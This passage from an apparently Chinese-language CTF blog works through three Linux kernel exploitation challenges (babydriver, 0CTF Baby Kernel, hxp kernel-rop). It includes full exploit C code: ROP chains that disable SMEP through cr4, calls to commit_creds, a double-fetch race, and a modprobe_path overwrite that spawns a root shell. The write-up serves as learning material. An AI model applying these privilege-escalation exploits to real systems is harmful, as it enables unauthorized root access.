    rop[i++] = 0;

    //ireta: from kernle space to user space
    //prepare cs, eflags.rsp
    rop[i++] = iretq + offset;

    rop[i++] = (size_t)get_shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    //write rop into name
    write(fd, rop, 0x800);
    write_kernel(fd, 0xffffffffffff0000 | (0x100));
    return 0;
}

bypass-smep

SMEP

为了防止 ret2usr攻击，内核开发者提出了 smep保护，全称 Suprevisor Mode Excution Protection，是内核的一种保护措施，作用是当 CPU 处于 ring0模式时，执行 用户空间的代码会触发页错误，这个保护在arm中被称为 PXN。

通过 qemu启动内核时的选项可以判断是否开启了smep保护：

1
grep smep ./boot.sh

smep和CR4寄存器

系统根据 CR4寄存器的值判断是否开启了 smep保护，当 CR4寄存器的第20位是1时，保护开启；是0时，保护关闭。（图来自Wiki)

image-20201119172710452

例如，当

1
$CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000

时，smep保护开启。而 CR4寄存器时可以通过 mov指令修改的，因此只需要：

1
2
mov cr4, 0x1407e0
# 0x1407e0 = 101 0 0000 0011 1111 00000

即可关闭 smep 保护。我们可以利用 gadget来获取即可。

gdb无法查看 cr4寄存器的值，可以通过 Kernel crash时的信息查看，为了关闭 smep保护，常用一个固定值 0x6f0，即 mov cr4, 0x6f0

CISCN2017-babydriver

先采用 关闭 smep，使用 ret2usr来提权。

这里选取的方法是先通过 tty_struct结构，在 open("/dev/ptmx", O_RDWR) 时会分配一个结构体：

tty_struct的源码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    int index;
    /* Protects ldisc changes: Lock tty not pty */
    struct ld_semaphore ldisc_sem;
    struct tty_ldisc *ldisc;
    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    spinlock_t ctrl_lock;
    spinlock_t flow_lock;
    /* Termios values are protected by the termios rwsem */
    struct ktermios termios, termios_locked;
    struct termiox *termiox;    /* May be NULL for unsupported */
    char name[64];
    struct pid *pgrp;       /* Protected by ctrl lock */
    struct pid *session;
    unsigned long flags;
    int count;
    struct winsize winsize;     /* winsize_mutex */
    unsigned long stopped:1,    /* flow_lock */
              flow_stopped:1,
              unused:BITS_PER_LONG - 2;
    int hw_stopped;
    unsigned long ctrl_status:8,    /* ctrl_lock */
              packet:1,
              unused_ctrl:BITS_PER_LONG - 9;
    unsigned int receive_room;  /* Bytes free for queue */
    int flow_change;
    struct tty_struct *link;
    struct fasync_struct *fasync;
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    spinlock_t files_lock;      /* protects tty_files list */
    struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
    int closing;
    unsigned char *write_buf;
    int write_cnt;
    /* If the tty has a pending do_SAK, queue it here - akpm */
    struct work_struct SAK_work;
    struct tty_port *port;
} __randomize_layout;

其中有一个 tty_operations结构体，这个结构体内有许多虚函数指针：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

因此，有点类似 FSOP的方法，构造如下结构。因为 tty_operations有 open、close和 ioctl等各种常用函数，我们可以修改这些函数的指针指向我们伪造的地址。

1
2
3
4
5
6
7
8
9
10
11
12
fake_tty_struct  fake_tty_operations
+---------+      +----------+
|magic    |  +-->|evil 1    |
+---------+  |   +----------+
|......   |  |   |evil 2    |
|......   |  |   +----------+
+---------+  |   |evil 3    |
|*ops     |--+   +----------+
+---------+      |evil 4    |
|......   |      +----------+
|......   |      |......    |
+---------+      +----------+

EXP

这里在最后去调用 tty_opreations没有能够getshell，我调试了一下，但是没有想到什么办法直接在 对 fd_tty进行操作时断下来，希望后续能够学到更多的内核调试技巧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

size_t commit_creds = 0;
size_t prepare_kernel_cred = 0;
size_t user_cs, user_ss, user_rflags, user_sp;
unsigned long user_stack = 0;
size_t p_rdi_r = 0xffffffff810d238d;
size_t p_rdx_r = 0xffffffff810a0f49;
size_t p_rcx_r = 0xffffffff81021e53;
size_t mov_rc4_rdi_p_rbp_r = 0xffffffff81004d80;
size_t swapgs_popfq_ret = 0xffffffff81063694;
size_t iretq = 0xffffffff814e35ef;

size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;


void* fake_tty_operations[30];

void save_status(){
   __asm__("mov user_cs,cs;"
           "mov user_ss,ss;"
           "mov user_sp,rsp;"
           "pushf;" //push eflags
           "pop user_rflags;"
          );
}

void get_shell(){
   if(!getuid()){
      system("/bin/sh");
   }
   else{
      puts("[*]spawn shell error!");
   }
   exit(0);
}

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
    /* puts("[*] root now."); */
}



int main()
{
    save_status();

    int i = 0;
    size_t rop[32] = {0};
    rop[i++] = p_rdi_r;      // pop rdi; ret;
    rop[i++] = 0x6f0;
    rop[i++] = mov_rc4_rdi_p_rbp_r;      // mov cr4, rdi; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = (size_t)get_root;
    rop[i++] = swapgs_popfq_ret;      // swapgs; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = iretq;      // iretq; ret;
    rop[i++] = (size_t)get_shell;
    rop[i++] = user_cs;                /* saved CS */
    rop[i++] = user_rflags;            /* saved EFLAGS */
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    for(int i=0; i<30; i++)
    {
        fake_tty_operations[i] = 0xFFFFFFFF8181BFC5; 
    }
    fake_tty_operations[0] = 0xffffffff810635f5;  //pop rax; pop rbp; ret;
    fake_tty_operations[1] = (size_t)rop;
    fake_tty_operations[3] = 0xFFFFFFFF8181BFC5;  // mov rsp,rax ; dec ebx ; ret

    // 打开两次设备
    int fd1 = open("/dev/babydev",2);
    int fd2 = open("/dev/babydev",2);
    // 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
    ioctl(fd1, 0x10001, 0x2e0);
    // 释放 fd1
    close(fd1);

    //创建tty结构体
    int fd_tty = open('/dev/ptmx', O_RDWR|O_NOCTTY);
    size_t fake_tty[4] = {0};
    getchar();
    //从内核读取tty数据到fake_tty
    read(fd2, fake_tty, 32);
    //修改tty的tty_operations指针指向fake_tty_operations
    fake_tty[3] = (size_t) fake_tty_operations;
    //将fake_tty结构体写入内核中
    write(fd2, fake_tty, 32);
    //触发ROP
    char buf[0x8] = {0};
    write(fd_tty, buf, 8);

    return 0;
}

Double Fetch

2018 0CTF Finals Baby Kernel

Double Fetch漏洞原理

Double Fetch漏洞属于条件竞争漏洞，一个用户态线程准备的数据通过系统调用进入内核，进入内核的时候进行安全检查（比如缓冲区大小、指针可用性等），当检查通过后进行实际处理之前，另一个用户态线程可以创造条件竞争，对已经将通过了检查的用户态数据进行篡改，是的数据在真实使用时造成访问越界或缓冲区溢出，最终导致内核崩溃或权限提升。

程序分析

image-20201109165508771

程序总体逻辑不是太难，输入 26214时可以成功输出flag，输入 4919时可以会将用户输入的Flag与内存中的flag进行比较，如果长度相等，则逐字节比较是否相等，一致输出全部flag。

利用分析

  1. 首先利用dmesg获取flag的地址

当我们执行 ioctl(0x6666)时，内核会将flag的地址使用 printk输出到缓冲区中。我们可以使用 dmesg来将缓冲区的数据输出到一个tmp下的文件中。然后再使用 open打开该文件，搜索获得 flag的地址。代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
size_t get_addr()
{
    system("dmesg > /tmp/record.txt");
    int fd = open("/tmp/record.txt", O_RDONLY);
    char buf[0x1000] = {0};
    size_t addr;

    lseek(fd, -0x1000, SEEK_END);
    int idx = read(fd, buf, 0x1000);
    close(fd);
    if (idx == 0)
    {
        puts("Not Found");
        exit(0);
    }
    else{
        idx += 16;
        addr = stroull(idx, idx+16, 16);
        printf("Found flag_addr:%p\n",addr);
        return addr;
    }
}
  1. double fetch修改用户态数据

我们首先再次建立一个线程，然后再主线程中向内核中传入符合过滤要求的inputbuf。但是再子线程中却不断修改 inputbuf的buf指向内核的flag的地址。两个线程不断循环竞争，直到出现子线程把 inputbuf指向了flag地址，而主线程才进入flag比较阶段，就会成功。

然后依然使用 dmesg将内核缓冲区中的数据输出，得到 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//first input data
char buf[0x100] = {0};
indata.buf_len = 33;
indata.buf = buf;
//seccode doubel fetch
pthread_create(&t1, NULL, change_data, &indata);
for(int i = 0; i<1000; i++){
    ret = ioctl(fd, 0x1337, &indata);
    indata.buf = buf;
}
finish = 1;
pthread_join(t1, NULL);
close(fd);
puts("result is: ");
system("dmesg | grep flag");
return 0;

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <pthread.h>
#include <string.h>
char *strstr(const char *haystack, const char *needle);
#define _GNU_SOURCE         /* See feature_test_macros(7) */
#include <string.h>

struct inbuf{
    char* buf;
    size_t buf_len;
};
size_t flag_addr;
int finish = 0;
size_t get_addr()
{
    system("dmesg > /tmp/res.txt");
    int fd = open("/tmp/res.txt", O_RDONLY);
    char buf[0x1001] = {0};
    size_t addr;

    puts("To seeek flag");
    lseek(fd, -0x1000, SEEK_END);
    read(fd, buf, 0x1000);
    close(fd);
    char* idx = strstr(buf, "Your flag is at ");
    if (idx == 0)
    {
        puts("Not Found");
        exit(0);
    }
    else{
        idx += 16;
        addr = strtoull(idx, idx+16, 16);
        printf("Found flag_addr:%p\n",addr);
        return addr;
    }
}

//thread func to change indata
void change_data(void *s){
    struct inbuf * buf1 = s;
    while(finish == 0){
        buf1->buf = flag_addr;
    }
}


int main(){
    int fd = open("/dev/baby", 0);
    int ret = ioctl(fd, 0x6666);

    pthread_t t1;
    struct inbuf indata;

    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0); 
    puts("To get flag_addr");
    
    //get flag_addr in kernel
    flag_addr = get_addr();

    //first input data
    char buf[0x100] = {0};
    indata.buf_len = 33;
    indata.buf = buf;
    //seccode doubel fetch
    pthread_create(&t1, NULL, change_data, &indata);
    for(int i = 0; i<1000; i++){
        ret = ioctl(fd, 0x1337, &indata);
        indata.buf = buf;
    }
    finish = 1;
    pthread_join(t1, NULL);
    close(fd);
    puts("result is: ");
    system("dmesg | grep flag");
    return 0;
}

image-20201120100240523

2020-hxp-kernel-rop

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off)
{
  unsigned __int64 v4; // rdx
  ssize_t v5; // rbx
  int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
  unsigned __int64 v8; // [rsp+80h] [rbp-20h]

  _fentry__(f, data);
  v5 = v4;
  v8 = __readgsqword(0x28u);
  if ( v4 > 0x1000 )
  {
    _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, v4);
    BUG();
  }
  _check_object_size(hackme_buf, v4, 0LL);
  if ( copy_from_user(hackme_buf, data, v5) )
    return -14LL;
  _memcpy(tmp, hackme_buf);
  return v5;
}

write函数有一个很明显的栈溢出漏洞。那么就可以执行 ROP,read函数也可以向下溢出读。即可泄露地址。不过这道题的难点，在于开启了各种保护：

smep：不能执行用户态代码，防止ret2user；

smap：不能执行用户态数据：在这道题会对覆写 modprobe_path有一定的干扰；

kpti：返回用户态时，会由于页错误，抱一个段错误。

FG_KASLR：开启了函数级别的 aslr，对于寻找 gadget挑战很大。

利用分析

这里，原文的做法是 遍历 ksymtab来 泄露出 各种想要的地址。但是我对于 这个 kasymtab了解还不够深，怎么遍历，其位置在哪，都不太清楚。所以直接采用自己最习惯的 覆写 modprobe_path的方法。

虽然开启了 FG-KASLR，但是我们仍然能够从栈上找到一个 不会改变偏移的地址，而 memcpy和 modporbe_path的偏移也都不变。

所以，这道题就大大健华。对于 仅需的几个 gadget，花了很多心思，这里是通过 在 偏移不变的函数里，搜索字节码，找到想要的 gadget。

对于 smap，所以这里 不能直接将 /tmp/chmod.sh放到用户态，而是要把它放到内核的栈上。

最终执行 ROP如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
p_rdi_r;
modprobe_path;
p_rsi_r;
stack_addr;		//save /tmp/chmod.sh
p_rdx_r;
0x20;
memcpy_addr;

kpti_bypass;
0;
0;
&shell;
user_cs;
user_rflags;
user_sp;
user_ss;

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
// gcc -static -pthread exp.c -g -o exp
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <poll.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/un.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>


int fd = 0;
size_t kernel_base = 0x0;
size_t p_rdi_r = 0x38a0;
size_t p_rsi_rdx_rcx_rbp_r = 0x4855;
size_t kpti_bypass = 0x200f10+0x19;
size_t modprobe_path = 0x1061820;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t memcpy_addr = 0xdd60;

void Err(char* buf){
    printf("%s Error\n", buf);
    exit(-1);
}

static void save_state() {
  asm("movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "pushfq\n"
      "popq %2\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
      :: "memory");
}

void get_shell(){
    if(!getuid()){
        puts("Root Now!");
        system("/tmp/ll");
        system("cat /flag");
    }
}

int main(){
    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/chmod.sh");
    system("chmod +x /tmp/chmod.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/ll");
    system("chmod +x /tmp/ll");
    save_state();
    fd = open("/dev/hackme", O_RDWR);
    if(fd < 0){
        Err("Open dev");
    }

    char* buf= malloc(0x1000);
    memset(buf, "a", 0x1000);

    read(fd, buf, 0x150);
    kernel_base = *(size_t*)(buf+0x130) - 0xa157;
    printf("kernel_base: 0x%llx\n", kernel_base);
    size_t canary = *(size_t*)(buf+0x80);
    printf("canary: 0x%llx\n", canary);
    size_t stack_addr = *(size_t*)(buf);
    printf("stack_addr: 0x%llx\n", stack_addr);

    memcpy_addr += kernel_base;
    p_rdi_r += kernel_base;
    modprobe_path += kernel_base;
    p_rsi_rdx_rcx_rbp_r += kernel_base;
    kpti_bypass += kernel_base;
    printf("mod: 0x%llx\n", modprobe_path);

    size_t rop[0x100] = { 0 };
    int i = 0;
    memset(rop, '\x00', 0x20);
    rop[i++] = canary;
    rop[i++] = canary;
    rop[i++] = canary;

    strncpy(rop+3, "/tmp/chmod.sh\0\n", 0x20);
    printf("rop: %s\n",rop+0x18);
    for(i=7; i < 20; i++ ){
        rop[i] = canary;
    }

    rop[i++] = p_rdi_r;
    rop[i++] = modprobe_path;
    rop[i++] = 0;
    rop[i++] = p_rsi_rdx_rcx_rbp_r;
    rop[i++] = stack_addr;
    rop[i++] = 0x20;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = memcpy_addr;

    rop[i++] = kpti_bypass;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = &get_shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(fd, rop, 0x100);

    return 0;

}

总结

Kernel算是和我以前做的Glibc有很大不同，虽然做的每道题的EXP都看着不是很长，原理也并不是太高深。但是写一个EXP我却要改好久，原因我想有两点：一是C语言已经忘记太多了，一写就会出错，后面还是得捡起来呀；二是内核调试太麻烦，没有做到每道题都想 Glibc这样细致的调试，而且像多线程这种调试我到现在还没有想到好的办法。学了这么多收获很多，但是也给我一种感觉学得不够牢固，很可能一道比赛又会因为无法调试EXP不对，而宕机。以后希望从C语言逐步深入学习更多的东西。不过，这确实很有趣，让我感觉至少对调试Linux的CVE有了一个入门的感觉，To pwn for fun 太棒了。

参考

Pwn In Kernel：基础知识

CTF WIKI Kernel

2018强网杯 core

强网杯CTF2018 core题解

Kernel Pwn从入门到放弃

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing